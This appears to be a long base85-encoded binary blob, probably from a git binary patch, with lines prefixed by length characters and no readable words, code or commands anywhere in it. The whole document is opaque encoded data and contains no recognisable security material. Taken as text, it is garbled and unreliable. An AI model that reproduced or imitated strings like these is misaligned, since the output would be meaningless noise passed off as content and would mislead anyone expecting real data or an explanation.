z8}fbd_X*muXV@*#7t%Kl*A5lO>#eirgN)HnBdGQw-4qtEY=wz={3^&+#>^Y4*c z%4V&#y}!)Y8;(~dbW5?b=fgf?*Gff$9)w^Wv$J{VjhsgRcm-&a+bFKRKpApXN z`LNC*SOP;StFkw__j#CjGe*Sc-;`z#(Aub54yGSDQ<1t zKG53OJG%Eg*0HCU{4;L0Yh#h=njZEvCS$9}t!v{r>j~=9Q~5nz8(+Hr<7#u_+j>sG zzVJJHrhhkijeN$Q>Hql|=FGYt6gnA0WvoeAM^FD&$~qd`c;UEX>^^UHn60%@vHlL&*Ec=fd&#n%i~!EnVLC{A%f|%llrd)qeKiYd5kd z*Wa%zXcPLv^1kOj+TEday**db_BZ|Yg)@3}uc6>L^nZ5rH3Rjj@&{kLOKch+I8$^b zZ7jMfJKWc|4_&Fw{!V>i>uRU)+-Ub3O|A87rh4yG`U^e*8<;k)3O{sNjr5aT_Ee)i zSH@(YCnobQ?bpngd+Y7Gi*fN`X@|0ncJD&gr4n}hi}o&I51~HvJ-LhzS;3yQ&1dP| zetB+hBWv|5%ml~Np56G!wU03u87U|5Q$@1hD>BJmxRdL}6dC;t>B1#fGFZ+N{AYpnURP*x@MyKw7Q8*kT^+LoF>u!lYDImv!zR1B%(>_ z(KPu(%Sfh%BALoYadaqDT^7o-aTcZt!49SJy##neW;Fe5?%y54mp+kdZndyVVvTT- zBgmi1nc)d+LuaNhF~;+SrAe>kYlj}$n)GGh&qs}xn7*9APc2*pyisAsC~_9LdSnxA z3NqmBU8>A7iUpdS_%@SKLfVd~jaHnQgtL-xZce<*WR#NgvV4<^=Dit6?2YAftx9YU zL`_i!r;m~0Hs@)=-AbKtdQwScf?Y}Cop-pBSa_Qqxi;^7!TA<15L{p}izl;Vg2fDg zW=Bj07`i-pU9SN<;KwaKgPo57Zz=JOYqN;kv>d3pbB9k4z z0~zNNcZ213fk4OaUE~dP_HN=o>S}T!c=+Y2oXERTPULg)aXdw3kuT+GV`OGD68N#@ ze33xMd7E-p4rZp3ZqK+KYaN~w-)=HKrIb1GHk0vbCCrKMG8uOWbQ0VNzR2nFGlH{o z;+r;`jL(wu9;es4gx=}$OW;LLmtW>jWG;?bneGGMQe^Q1;D@JK{2=(JGjrmdn@q-6 zgl8!j$-XL*m4OlMA>qHk(tiW`=gTerCis;lIq@d)J|cN5Z2W%+eYM5k0bgBX@qbe9 z8S5?nFB&R)gT?%LjOTB(Si0+uttMY?LXO$%mstc#+sYU5qWS1)bn@to(M0h4R7Rvi zlE+9WL!Y18!CAQmmebc(MUw;e`KgSErr77FG9oJ=-eI4g%80Dwk6UKj=ch6vHIibV zpUQ}=rkF$a`KgS^T1m0bPh~{bk*C@|Ka~+#Pn9k$cZFhfW=Dk!V0PZ6_W7v{d4WRa z8vFcIMg(IsJM8mQ84)HkX@Aj%)=n4qyBTu=| z2dH^|kb|mVOVK)}rbh?o^(3C{^VWbSh8l6w0(-p`_fjhf^rcdy^$4$KaDN=t z+~XOMdStr6l0_1bZ3xV3vous-UR#7JFt4q&^tDAU5AMP22$~%SVS0j=-bP95);qE$ z=?Yt2pjiUjU7$q*T`tf{IiK!zf$aqDyW9onG-k(P7ig0_x41yN1nzKw4hh`t0-X}L z-v#(v8_)lm3+xhZkBUOlC_m%Vs*tf^_&yD1gyC;%c#IkMVn(DJ`rkS>J%R&;^%Cgo zk~}y`pyrt6ULw97l$yC%a}=0~P*@#3EyHk1^vvXNURWz2G0&0b@A6V*Ft{U<|*E&htQSPFvkBGaR>(^?)6G zhtqk30b}_41ls|FkRJ`b=KWBTP}e01b-fDZ1c_1BBo*WaE67wLN>q>q*{6Yjn2D@gVNV}@Utl~d2Kmc3ALZcd`5!DOE)*lH(xQNJMB zDJDI;Q8>U_>H`}AcVJox`WqW5CGkT8gL)qRE30S9-?NtycvrZ@5tCT>N z<364I>xKI;7f}jqRLxcAoQUo(Q0a0`LL_HbIn$7Ot<_u(!VJIAYAy#}*-u%!%9$b9 zPCjyQT6bqh^)6iOPa!QODk!3ZPgD1|q)oLz>&X#qn)m#pp&Frw6 z%bANte`Ph7bE?QN*UCv_55KU?Vp@CD9~R`STT^9n=1F|Hjn@fhg~hZyPS@343Qnjp zE{vfPvmuKH%DS--XpDY)`W?}4U%#XJo#r^KhJKrHaBGXKMk4N+BKd9O;cv4Z7J{rh zT@g1U*;-|CT;`gZuHPB@ovGhL^n0j&57X}~{T{C0+4`NM-?{odLcd4qcb8T4k4d3H9X~FCppLglAgJRfBoNf`lOj$~ z$6F;3)bTbUTcCB!{;Ae+V^##0GQ!Cl!KH-F7!jWmG^4yADQ&B3#)x{AAP;UOtYc)B z1Y8{>#YuIH;90_EjNskEI!4r=xH?8~C}xMNV+0S8bHvp#f{VyG;_4V-bQpPwt7Alm z2Uo|4jt>i_Ha1`)5g8yBm0Mj#$|X=Sb={h3QWlF|mbw%?Hp?IvsK9vct8oFGv{_W^ z0%r@^dKX|UF*`P>E_1$7MEAf=d84TpJ9%6KbXPlH&ho}XG&0D6Pa1L2o8^!us>l$w zS)QnFpSInEEDyIl;+Iw+nIDfR3%Vd`9C1<51=TTUPOYC!b{zAFSF@(p&jFtMs_-}n8A#^BoOO; z1iV13%cT%!Qr;C3a3z64l=u)8*isElM;52_jVD#+79ww7kGmm zkIVNEX@gB9|VK z_q?Y4cfLlOyuV8NYL~u(33jHW=V!b0{3)70ndm%{XDQJs5XqD}|18qe4p}B6C^dft z9l#CBBPJ1kx6+@b5{^XwPS}wJr0v$UdOI}cNz5(Ua|W0b*b?%jgdXLU$7C-5Ue)#7 zyp_yI>Q&cyt0>*+IhL;StBJ`UFWTpc&qEYTA{bP&RZw(R@Zsw3bqsV zJamw@)lR7L)(gFzQ01L3*iNYOE&wmG6RNy-2`+WwqvcV$=Fk7E+D)D>F}dZcRc(uDI?-rF`W#7fv~*1xJynu2KcO|r_9S(g@~DA$DC7U= z#z55J7lO#|NG~EyH#A0HBE@~^7_t;v`pD=`m+vz0om#}_DIyCskN#$V-hlfDh05h% zh#vj4=J+`!jTzEUEog_96ns%*m+RBy3d+Pij42cjV@?tdH7OjlUdkqk*Yg3JZ$rO9 zvu={C-6>f$!-!u7v_FL4a;5!%(B7Fs>(r-$1{r<2A*g0A)vBCGZnF&}BznBk(Ib z0A)x1N}eTT; zK-s>S;GHua8QpfwW2G*TPT)s#U4Yt-dCtzAvVCd8>;*1m2!ZA0E-;k9c@-`&jDXu1 z&GxehTv_c>@RtSG)wlr8w%{|hE|5duUORWn_Hzk*V}nZ>K~2B8(FI15^05XN$Rp)L zTU~%2Y&JAm7q%n+47Mr8o+yg%QCBs<5TNmHS!msve!tBtH|04>zeihlna>b0u3H^t zegZK|#FodOD)R3Dti_%qGS-fs$d?93Pt-1APO+I7!pE0b$lPaqs}5RO`R@lGM!^h5 zACN)CuGR8!U*n7Hpp}0Be14`A<0=B5*0SxwZ}@3M+^-Q|4TSj-BBbosYq7%@Azhh; z4P<&rGyTbBnvff2ay!nJvL(zkYC0QACrYLXGs(nOkC{+TCf%?eKi0}OY96u6m1s3Y zLuu>@7llNJrHmbpvXvzD{}aUjPmtZ~yag_e?mM9q_dzeFGv@u+Li%C=>4|xNwXyWW zysubDFU+4ZNwdk$bpB@@K1qsoxP&p|Mu!nLjAw3C@JAQFOm=J>W||PvybF0cTzozF zdWW|`v&iB0Butx!c`r-CGndbKm#c$1J9eKgGH7~Mm}4x!{KRYpH?j7YJJcyyJ^iyq=T zAl)dWv6CDrDVB6rdqnej~(kOB{MyJ}Tpv0sV38Sgg93xUJqyDf=8jU$N z>{#Q#ydp`Txh=7qg8RcQn|S=SKkVpFN0eHjcj2-iTx``tr)CRStuxAiB8M6wZ5W=} z1m`e>PmrtdR>$&!K%^ky!kHb-+sPp&rDd~Tm#essT<6U8)<*ut%=T&{c;`7mN=mG8 z8D=aa!)5(RSCVZV*=Bp^My?1mPru~26y_8Zg^KLuMRyuAWz$^Zc1etYZ2_Rq+8Bl| z3(gTh`xpanwu(s(^p4T6qsU4s{?9%Cn)(FLjeenir;?7o!HafD` z0=7Xyi8JCMLHl@@$bPI4uJIQ3H=h5BG~P*huJK4oX}plqH6G!V#yd06 zveSAPc8wQ?UHYOx`7T@@gspS;8KtbZ)W&5}lG3;*E_B)2gJNCdo|t7D*Y6GZB`NKM z--^=StL<~SHtxS1)40c^CAZayCrW0?R*REM)oU1=lHt6R3`ugFxN878lGCq0etI!h zd*at6{mNVs<;n?Sq$0q%h_wJ$^{BWW*Y!_)0?O2`f8z6+Iqdr4g-(1;;x0dKt)#Jy z7ojJ~6)|cl&sj^6SZgUW8Kq>+X9siJK(g#h9;IaEmmJnfhYrN9K|Rvx*uh98>p>gF zfM(q(30zUn&%jo{;Cxi^Rr<%lB$S+tUCC84*QJHvq`Y!TprSajwK@%wI>~V1CIbGo zQm>QexO$P2+yj(ywXm@6D$*60o~!Ax;oXp0deKW5a?}^6>LGG$m?<+8O({)B^GFX+ z<#hRbgRnFFX-~L>&jpO7&q#IUT-KSxw4X^kf1tnZ(blxTVn$x6SP=25 zX%#6c$#X~vTdSC1b3QHU-a6}}Jwi6sop(=#$2w|dCUn!imi?lpRn2C)w%J&9dcWBB_|& zLMy3(wq|PsAjJJnD@5eC^y5%-#G4H+9t#cQ#acHwEi#Lp^ldwv_jH}%;$_;q+Tqg$ zFXf9$$9Y-1fR~&Qv!*Ny!uc&B9DZR4%?7#)8Ga`PRjZ@8!=hqDz*Vl@jZHov$5&xEhq?&Q)5%H;B-LniP-zEkf_@?_2@9lY?;) zmp$v_($hW=4SW#(VYRULJ}WG}HHvQ*EQl-9yOC@&GHuA*C}I>3L9H{!N|XQ=!MuV6 zFgyJ(@_jSPouT8MywPzc)-RX0U9(A<@W@*u75<-|xsnJyh!F0kd73=~6Z!98&gI>3a@Y6ss7X~2IP$T@l20so_layBc zG3@6M!#aDk@w3kuHh-AJ@xC#o zqKz|Le44~(j`4;K6C(N1t0BXaat!snsyvD1uUV?{N?@3kmqg3omj~R-NXyRi{Oo>C zIizOVvL!WFB$DDrC|O!i;K(EN0>?`+q{KVYV zXF)zENHFG$g+1l%fk|w#uj6r(j@&_bxh8( zRK_fMBZ*UdMUtk`MrAT#Onc7R{mM7yoPKiL{!rIw{Md%eH%w%(`IfnS+BufHd>W{B zEu?`Jp$f>GViPNqQ;xBhRsAfaeQJ`lr9!VRHqO?ZM8>R1jS7px#TGkVhvrzT4Uaz7 z2{7hd$-7`|OSUSS{%~G@gnGzv(2kpCWL3e zxH99N&usx8o|zQL$Ox^#;L;*WO{7$~;@yQ(ijx9rZFE37_BG-%Z8BbQT(0Gr3(U8% z`9L0SO=j;1VHsRw*-#n#lxE;&#=dM^r9fuvD>mU3;A=rbn6ru4ZcES&{8~T&GGiaM z2@eAw4HCkfy-J=enY=Qu~T*~^h#;c_SW)NduFtWGK&9SaU*TTBsT20_)3a(ey+)TmaHuiDglTwP3KdB-J zAC)Ag+{eZONrWbl1e)LqBw-#ANP-UgC0Umw2?>EDkOz`TY$%D6J4r}TNv0VO^0CwS z)EG}^BoBY!oIjx=53_nbFn#NnkVPh$d;FZ27~W0K*a03w(vr3i>kyC6g3fqS#Rr zZ2#bHMjgkrY{0Zp)I61tqVNN2L%Xp1px!*z~IWi8*92p z?UkF!|C#ZaA#ziuTOCt433Qx*0ViN^i9;1d2}RCAE4} zNhQ|t2L}9s!F7zJQfDL$>MYPPWyTm7yu>=Dzj<9K|a-!X)Q6n(jXuMN6$;pdn-0yxhzfsz_{*9T;R!(uES1n8*jCL0#Ze z&8N#6J9jf0SHE6wX7rOf+;G#9@HYW_2poGI+X8NH;PqkST>!7cmMt(~033+Hh|8Ij z(?Vu+uo?M;g#SguPG@1dQ(S+# zl{QRQg_QR5%b!cB75(93%JpzyL9+;Sbq6{|Lg07^46YF$Moc$9q8&wrYEM#ia;Dgp z@}H{qlvfHVo&h7$qMlV4GDV9cX<|Hf&^iL0OaeuPMs0wbwnvh8cdFAWp+&?>mUv_b z%)f1mmekgiqK6+~9|n(&`EoP-QKL9l`P;^vaM}Yhxp!#-HA}( zxB}L-mUT82+{!xl<$$%=oU*=66LN10SWAMk{+?Q3?)NNfG6z?{8bcGQtwds7K{gU3 zTQ2T^PRC7zb5O>x7c75y+I(-*R)wGtJ604S0*r z$hb*Ui`6P8Bn1YSn1omxEw2r7cW4B;cAddZ>z*{8n|$n=2Nby_o=j5j{@m$Nd}dLf{uxj>cLA*kh}1T z%yvAHF~xrlM<>InKODK4;kZ(?GQ5b-hLmzNb!JMGzm?s*r!)gMliqD)`M}Mj-w|j6 zWYV9v3C{yj0Q|X`^w%^tXcJ|I%SL1VvuqFMYEj%wG-e|2$<(_^e@YmO^8zVj1c$#e zCTqYrNkP$RWMwJxemCev(P0#q)b7G*8`*{A^*9$h7nJrm;TI*{x~xFJC_0JK*w~z7 zAvJ-MNn4U~LKMBcft%BmK&KvHa7Ck(g(76n zfV)Y{R1e6_q?H-}D)DOoleW~xFNF)%%TS?w@dyHs@Iinky@}pZY$2_h{L~QTaWiSu z1?%T#(qkISP3s~pSk8w6MExQ-1tjS_jUJQcvfoB3Lcu8@1O``7f4XZ>e}S(4z~B<| z22sk4886G`lSj$CawXF89#*J@OtWwrjMaBbR*;l#i@XbbkHslvzHGen zh@z(#&$Dgx54@+ zO!Y)F+xc8(GHjGYNb#4a(i|r04q8o;rK)$CA)T;T=UC8+h?Zfaghm8>IF*K&@S0!+ zoIphXMy;3~K1-^KgF@V`fNulJ;Um%{3V|N~$i5t5a!+k!wgb9}1#|+{}=z>L9q8 zA=^{R#FkCuDUIT0d_+ciZpL3=oK`@_-)Ivy0vnW^o59&?WhqfEW%j)7?9UU_wW^HK z%Ar~ld?fQX3TsW+X!)U5$Im6eO)n>(JH}O6jgKr;jGJT%lZ?BVPne9yRLR^-CaP!d z$<1VHLrXh?OeXc9dAONOdQQ^(G~j?MQVu8*XP${7EeCNe0S9OT4oSmV22GjqxVlwt zhSz(D#PXJpOxhe5tl23Q7+ji~m%96+lDMOQ43v~{hxS!&CgXn9JvU|FDnl zCQNj80&Q9@pR#ZO4Kw5{)w#Q@f`TQAtQo>f*8w!ETP*}@moRo<_PVM~4ehV8Ap5^dY-XC>-3HEz&f@!jAU94}`|4oAD8 zxvqX|V@u-i%G18P{qLdY??~h)u2@d-CcNe*{ye|2WlJ%B#Tb5+xFN9_j4j4Hc5hF# zgMG%g*7|KA>?(`}w^;V z=p5SZ{69u`EI$&Bq!*{3$=#nVUu?{}uNfzll$84IF+V%z=f(;oetDRvWHU}Enpncb zC+aUeHld_ss$X0@>XZpZMJ1E{>}4fIC52P2E(xwV{<`8RlS=&|vAfUncPuC@nL6pr zB29d+-}ZffRmZ5=lL`w9%L96U*8+d{0Y5+H-{QsmVGI0DzVDsl4_z>M$|;?b3yb_A z3;eFwG=I!`zomFKtk1t$WQrjF@err!Vlg#|kTE7fvqmJJw6$V4gM5%u4Dip%}H;zIxbbQk+WHv79`{?KB7XRO#C z8Y_IHWZ`&!Sn-C1h1KWJojkd4(qt9wq~#^c&-Aw*nBm_>?g?`)n6rHDcv@~P7o&73l$h)H=gaynmr`hs-+DCEq- z>RE*|k-e($yh4BY9l{OIL>aO4*{dAgYRRNc7fnAO%wvmuO_nb)LGNAg+GXXJAmT0D z?&mC1ydYgn!1EjS`MZn#Kbe^Sk)EGP%g&9J)0SsZJIi8O`n%r9!XLii{L4hwTf2PcbE%P5U>*vxm%FJI@JV)cl+_BI ziIj@11c(CuR>k~@>qWr1fq;@%6*^HY+4Jw~DfYi=VpAvjImQ0)7`EoPFZ73ZD8>Cf z_qw{h3=+DeZp zMJ)Zy*~{mSpL}B73518FOA*7;MGO3O6kpOv!%EJl%U~PSr!-Lb1_ zn<-Lts>Jvkiq9W7)gP-;qq>#;w|C<*T>mJ4L;sjEvv7Hde{Fiqe_?m5aJhd?`huxJ zJ5Eh)$8vv3rd6Kp%c8VMRjFT8e3om`OuxcvYt(`{{x5g$^M9XKOtR4VIijCP6`kAv zOi#@JE*92*|Gxjhi(~%d>BXa}t!W_nnG;Vr=S2FqKe{-tl-6B1v558?Ra#gG$cl|F z#a~RGe8#B}k70TJit6~1rHj|ZD_1UARZ+F_ocOvWYv&k#RlHJ$irs4$uRpu9rQQf# zWp(9>%9XY8C977}%6-+!C6y*2qnT+=w71u7NicG4PP8Rj>Jve}I0Mn*4jxqFzP4^> zVr6S(^Y)J2wRKzCC8{E^xvsOR1M2G5`nrzRwt)*;qqGdJ2-UW`26ip29d#Xzt-OgS z-n^+DoG>lzaO2m}I}%-u9m;2MZS9(>v)0vC##gSYU0hqWYNd+N(bmwpU27#0z;#J$ z^Y+e;#9577Rxjt#ws^dwIo{mbV&a=ybgVXUW)bq$Ao*9+H8E^!ejQrRZj#ExH|wn> z(bZx2bKorTjT|B@y?dc z_C$lqchOY?CMCgwbV6LRTy3xtZ;4TruKxiala+4Srb2R@tT#`n-&!`5A9S@DU8oabevb$ z*1|kP8dXf>+`6XD1S;!n!@fGCI(1FV=C&s4w^3@mu0h)-wd%EEnoMdo2eMYRF#D-% zYP?voP>eLbw#N3|LV{8|>pMEz5)G9y;X!GeHn&48W_^sgE~Uav303!5otrWG#bOj{ zl4}vFIbo=BMQeShv_!SD?RZ07N1fq4dQMC!vz94aRZ9a@lumukW+IYk0=1EMcT?k* zt=6*FSFK!9y{@8?Zd+mEI$tymt<80fEoL)iG^zYSRvN6eX=kERJGAP%iVnPH<>Kmi z&EhqSS5y*!QEgT2`6&%wQMsg=&d`pf^Qxic0DKTN>MG z`IW5=iIm2BqlQC+s93dRo%)vA^J}EHS}Twe)+Rct8=L9S(kp{@Tq}*zE{~zUQOiNC z#f1AEz>H5k`{R??kqABl@$oB9qqwN&1k1)!Rx#LCX*O^LQ+ z>=RvMth`HU@t?{jDJ!U7Sh#`u**(E~JyTn|A8fZdedqcZz z^Hf)|c4^hwwee+DYqiNzyYVV1EwyH*vjq>*l4yw4s}xAr+Sy@E zeS2NM=WeNMPKbAEOzt!I+BRwLcGuv@Z99he<}R9DL)Il#BsO(!QKMtQArh@wfs^g( zN9$VDDWx{l$`!S%mRGJ^%W9`>wtUTzuTvzK7!-PywnujSU8*ggQ@OHo4K|%*$^Gpg zm{gLtwEfn^cePP#pfCvx^-a3Bbg_oC4A8rR_}Tl;)?YyZfJ1b+C?m3 ziRDVGTz|Yy*dT6+46C%3R!%WZHHh5_tY{$rytZ<+k-FgY&9+2hdz}6u!=tmlv+)wH z1?aSGG_7kxoRnjTSFT*MW|fY%HHn5g97cW6mPt;SzTOu4w!m0X(*Vw1dI3Hu-qNgt zrfHHTxCkG1__Nn6J}2z())9(Jv{g6S*l0qg5RIEKA9d+Ym({JU+ZY2oTeiy(*kCnZ zk*IINVv-~rP+2wBA++vlu}=IAc3~Up>_+rN!`jhD1h1*G(#BgiZ;p2ux;O)ch)KYX zO0qPM%Q%aew4FAbg<>dccjFtItEAi4w|2I4ghMJr($>26VE9Zjxqc&NOofrSk;)dk z3U|Yhl(EZ>ms;C?|GuWOqVnvjm6a9A-6FKSpv$aV$w08SpGamVQiJ-Y*7gJgZPTVY znLP|#xYci9%mK?(hIkV3Y}z>S_^$e`n`GXmuEbfPS~LcDHhx-09em=}Rt%Fer6bwq zKr3b!(+bgbOJbMVO!JuS;-%s(jjfy5tx*?2qqMYI9?jxc>jLY60Oi%yW2)_e;WEjq zYjd+v3R<;G=9E&^HEtYR;_BaSboh1x*>2r#TALcQyW-24pSVQp=n#={Ln@Z)Sk~2^ zT{b|p`kUFuOPF)Kgi{RrX7w^BYuQrOg0Ex>!}Khu-W!Y8a!x%SyVH)BaQg8Q%ETvc zValgQk5#vBYs61?Tr3?Y(1>^+JLTdpFk3_|9#@z$2OEFa=(67@2JrU~^< zR~22RjI?L1TDP*Ik{MXYNax|UL?!PRuc~5A<=Mx~iA}wj)LAkN1{I@o&@Gxbxo*MC z)A|YA6r!}%iIb>GnOOJNLJO}*sH>Gx2C1a)FqvMbt22?mU!cmBOu5$BWf3b9W>S)& zvV|#Yn@(iiY{>dmb-Yc9orxwBwCk}`!T7rBRwl4g%CSpD7iL~-{gw`yotv5(>+yt? zy0TsQQ)w!{E#AbkN24(WCxsolTtI3iQ2egW$E3t$6@PcF-9wsEfJTM9C3`pY81@tQYQG?^16<&V`LJ8U=9V7l&VOU zRPR`M){=^ zS+ZcFX4F%sgh^w#4wG?4^zw#2ZNz-Po9Vv?Xqv2 z2nV|Fq*kZQVcaI4?aJ6a-LAQ=%Pk?2&0?U*7rgsdT~<>pVOY8d%l>|({j+mZ>vpDq zTY^bZAO)1wt#u8RT^;oNl;%>+r}Su1`qEmy!l|mRA+TvIV|)9~Mm8g4dNiQFtEpbM zR_7WfzD4E*Z#3Y=YnN12(X%+3VHVjxJqkn}U}YwA4VI=-3H+lS-{NdqiNW-*`c=c$ z%Lo)}UhQVe1a%zdu0sXRs3C077V%JTlyl{(m6gG!TB$6>WVQtZy9>4$D{ZVdI1aWz zsB5Bw0WA?{0wy$XGO1Sgq&{NzG0uzbN57J@H+%jyXV#qJdH)Z2Zvq`vm9-7uTUDu4 zlB%RKk3eC91PBlyK#(8_3Ca)RF4{r3B>_5JH#>#vpE{hWQzu=hUu>~rq9x9Z}nlRumL z9BXwPA$kP}X{zTpEuD9cT&Z`SrDMxNck8SP7eNSM)O#*A1{ckqzJM2BGn>vfmm_!u zkSy*e&OSGGK?SpD&J=j8xiuLZ|4wFW7 z2bHVpM)n;R&#{GxBfD!ylAEN)P7>?Q!V8Pg1#o3v>gzVf5uC{cC`h9hK{b%Mz9Dvf zF+IA77Fju#r_WtHeO7b5h1i3{g29Vr4S_^#PwFIWr_7%xGdirTGqrX6#3_;L0RtlD zrg5b2yjcsDju<+)G}8CXNZ%7=J>6k7H+pJSbsb%t+m2M*y&mllE#`CUsiT8)Qa-1l z9&toQQHPqxoI2_xxp@2KC}&1PM?W@8Mu{VG&4N`mro`W{jm1l68qYF;>*vu6m&6!Z zmQL^xm2tpWNFsY8nFEb8kQEyAT?!`wx)G1WqDjFbjU=h*FHoHZkzLUf#` z2bK;T$cfsuy5P<~rZSn@Xk{HJ2+SNO(-$n7`)e-7V;yBCcyqhJT=hsG$F};Mxy{x& zGac{!dE;F3V0Q1^4|5k!j=G-HS*Gv_6U>&XOj{kcXN)6gJV152l$0g7RPU@xO+Uym z$K{Lk5&aHNIq0M%3*-*FzQ&i_V$q_g>699Th6T8`m^rtJ@f}UM{ZPh+DGX!CeWXsK zOcrj83n(l3JNnu5=_cIatot(1)cLdB6~|b{-=on3W-;EtdqCK_`n6seVvW2QS4MKz zWFj`rCr_%X9zET}K4WceFi)R6x|+9{#7-TS6Vn%!l~ZWb+qLF8%Is39?HyS<3GO(n zQ;?dowT^2NoORpLxi^8=8Fi4_xhOLZVHS9}f-;vf#v>Vvam6$nmjXNqagAObZVt-! z;2dmRHB2|--w0DzBMKwppj*uZW*uK$eN3cS9_*PksXDRUehscALy92HX}U-|N8N6tV%8)l~83}o-`q~s&!-Vio`1u zt_oZoe~o`r+-Bdk-YuT%Y|pkte^u>UZ@%&RYp=et_vM#f+>>mXw`8G`GN&fXvKNd> zj-aaQ>uglDDX#ijZ_O6ZW}oLc6d!Gh$I9XPs_3U>RB{;Qs;;xEQE-drWPjDDx86)P z=iRynz;UMwkapM8(5aqDu6iP-HaU!ue50`i(cG5UMP8)!i1Ap~mQPB8nMh)L?FTr>PvYF(sMklD95ar^l*FE@mHX z@r*&PSl?V{*P-^~wPPrlXEYdNT#Rb>c~6^TFd(AQDVgqWl+?sMh5IBPUyGh2A8Gu>K1leGqHpsv4bOuye-~o>uhH}%;CFHAfTod@56bgFvT>F? zkGWaT;|mn#ixC?&y%^769^x3)^o3}$3FTTeeT!Ddm*rBP`|wZdq#p*Rj7}O*K4?GQ z!K6qhbV~C(3DFPECq)wgNQXM5W#lUp=kW|_?1OY#EM>~4BE8$;Y35furT2GAf7mH~ zuv7Y{j%hn8v(#^EGmda}cBlNkV6Fq;;Tbdbr`;2fZ4_vFILt(!YS8rY=0R=5W=-=; z5$2=qHQ@YqFb?VYMfeuSHl*7$y$WV!{FoeHZeYkJkU^ zPU(m6?Cl!()K1O+todH76<4I`S32c?AJ4zipJwR!FOhy8=~7J}MjHO-=R4zBK$9(>&?XksEyg}Gp@fi9Y9g}MDlW5vj(gG~~9PFw;>B(4~NpHLGyRrI%U1R)U zajgDeKNr8$#jnH40iv(Jy^&%Pv;JpyK*gK_#1&U6t4r$QG5|_f#Nm55yh*4ixjs3!)HuAEx^!= z7~ge-kcyW8muVif!(X*E`40kDXdcLDRVv;HT%&j^@EFD0fNK@+0-mIpvehX*06bN& zw*h#X;zr;ZiqXD>bCiMKHM4NeV90AVDTW^W!l2<7120ir1l+7R0t}r^o&w-D#W}$6 zNB*9l`2_L(9pJ3jk;3|rIFIdS3eLC|I2UD|{M~WN!DyTLlM&0U{(|GUUc{P>e7-~0 z8m0WXz$Xb#I1YHa;C$G?nxpw)8w=n3W?71C{Z?@9S->j=XFm%3d%>AE0AD6JVHhxE zW!cnU0pBJ#@lU`H2@XF7{FL&s&bK}m%y?{lD>&;S_^3}YsGTA>w;C9IV)PvkjCCq; zdH@*xVen31^dE5&^s-M7oYo3_x?si^{-gu*;5+Y@eYs%Y?Z7t(4*nbXkD4F-W&c%h z;+4QpD1Ht2pMv>)Gy4s}@hHb%HD>*BSnKk=s>GbD*@uR|85l8*I0XIp)6m389$?ig zZXqzPrO3Ct09Ojmx&avWCEr5(p0l+q^yN>6oBVx%(Kd1Bm%x__Hf^acVZ;TG>f$>Z zSatE=3;eE@-G?!ds&$S9h8(6&^rsiTMNA%lJfAptBJc#kj9K1O1;;}#?`**-#0v%E zwL_No2Em!o)vGqQVJol7#hfjSzt{xa|Q?@wxrf|rnCj*}*n6L1nZ;_u4pYbOM&f5*F^{3YZYyBKY_5@)e=cyl;LPLDUQnH%a0be6H6?F%05S+Fh_|Jlq;17YF%14_4wOcm)Fz}M_y?+4y zLU8a@;6s|f5o_0Y!TwKy(*%cL!vx4dnL`-Y2^f1uuU6n8f)jB*VU+Uk1D+^2gJq#7 z^K(s|ut+g%oUmMQ{_DUO3eJO037Z9n;V%id3g$29B%t1?437v-g)I|QMB`>#e3sx`#J!|nE3OAd z|FNv^JK#$MCzk=MPi8&_e2ehY#sdFIa5nTv+9BAU1pKVvf-o@p&*<_c@MnTUuzk`G znjba{`UP86z-fX#CjzTaWXYz~&{z`CO1o(Tw;R(Rdjd>CvLkK=ioD1I%B?-=l|A*ic`EI9Zu@NmId!+@&<=MMxvUU23g zfFU32@lu95!Fe9wg@S$1H*~JxgzJEp3C7PhSs}>Eve}mcuN9o}6fn}{Clg;TIQ3@W zO@jT@@dm*m*e`UeVCxlN?Uw*zNJ#r74RwX!_pCDoV>+~3F#R)xv0>VRZ-+iqoQ$?D z&EEhV5}aEP4BIh3$3=2a&5yDi8{~6bBv%RMxJaHTnByY(bir&lxlu631?NAO#K;)K4gL zN|Ep>bIJh0lsV;C!IU{=ykN?lGFz~<9e9!8JormWtKh`og z82QNefEPYl^N$0bB{+<+%sGj9;!#If{WkrNz#1#^y8~Y-c^J>b_X@_V1FSImjAe7y z0YeT`4}3WcyAZPQilwS-yRr%;=UXL+P&Q-whY2x&1;IjquIwtj8!ErAGV~jCR3hbH+9f)cF)N2I? zyuh~$W?!VLAJXQjI;L{h0)M1s;e%-&&A%EL1B`XXr2*@h%0}O&>6l`FrJ-J@-Lxvf zp0~lDD46x9ovyeZxKS`;UfN2*)(qfFU3oSOrY>oJ5KQ^g{vw#Zl=iq_`cm3%!PG15 z4Z%h>)r-EAj(^IT37hc+>BQ{c^Z|nXXeWJyV2*FTBAt0W7^i$aIdSNE;4=ls!%xx| z3l1P=rt6qW$p^kr_}Q>q`jv_i=hANyoO&wo-HKlXhCZx6Q zMX>)GVAzqm_+i^j^*3IZ@cNVdAY{lKsrYxm;|0g{06s-5SvLx{vO%8~Y{t+Y!5J$ME1?f%NP)j(XDJ`;WS=NF{e0kMf`jP8 z?7IZ}b^`Af9KblreqC_*72pGc^IH&i)c)Qpfop|tod7&lFxR{}t%Bp)fiD!Cv8hd^lHq zCI`Nk8y0?O0Wj)i*}T($agI3jC*Yxi6ChhI`jvby`Yl)OmI)i={z~`-6M)YaoQXEM zH^Kaw7z?@ZGvdTEfiDvrfXunq3HGwxJC%>IoQpBf{A@p0eJthAz^bozG4MXglXoTX zr-HM$0weCQZ2HyECth$e{0{GGF#N1K;O>GGo(0CZV*Z3m;NgPP;YWNE1o`o!fu{)0 z$^o7!I2XF-%@@qQggofU`~|RO-lc*wQh+ZPoP=_Dn*?XUhk1R-{Hf^MJd817oBTft z&c#^HL!Xf!ZUa`E)IsJi%$hfDvoR z&qm$(rwPtm20UAEK6J{5UouZ3+rk(l=3JJ)MsOH)%1ssv}x16F_L^;5y`H9y8df% z1x6n*e{eT&FU_9_JXmo4I$+f+2laQEAbbz(*X2~ffeV4v{@&%l3x%K42#mgA{c*5= zm$ib^J_Ej7uphSVa)aRDVcp4Jf08a9hMlzjZsUZX zGaP*AYxv09?KI)1z6gxIHvCz@XA9qV4e+m}em*18?RT#Fp{L1z3HWG_a+-SXQvPG$ zZ_|4228K;2C!am(_IFo3uV{YC@RsnC(2w0d(){R?Zm<>Wr(O~0&vtpAB$6$B>J`Bl zHvF-`#lq(rFfvH$;cw1GM!D*N&ztgllc=iKdEZB?wiCn7~HjLaT`ME}p{89M6VZeV&FkdBe)T@e_=QF`M@Sj51%h(5b3R4C1of(C& zGyB3{0}LNx9zMHOSS@_|bKykQWg{^3VSf5s;je@r=nj02;@<-=SNuHiD#=ejEWAYc 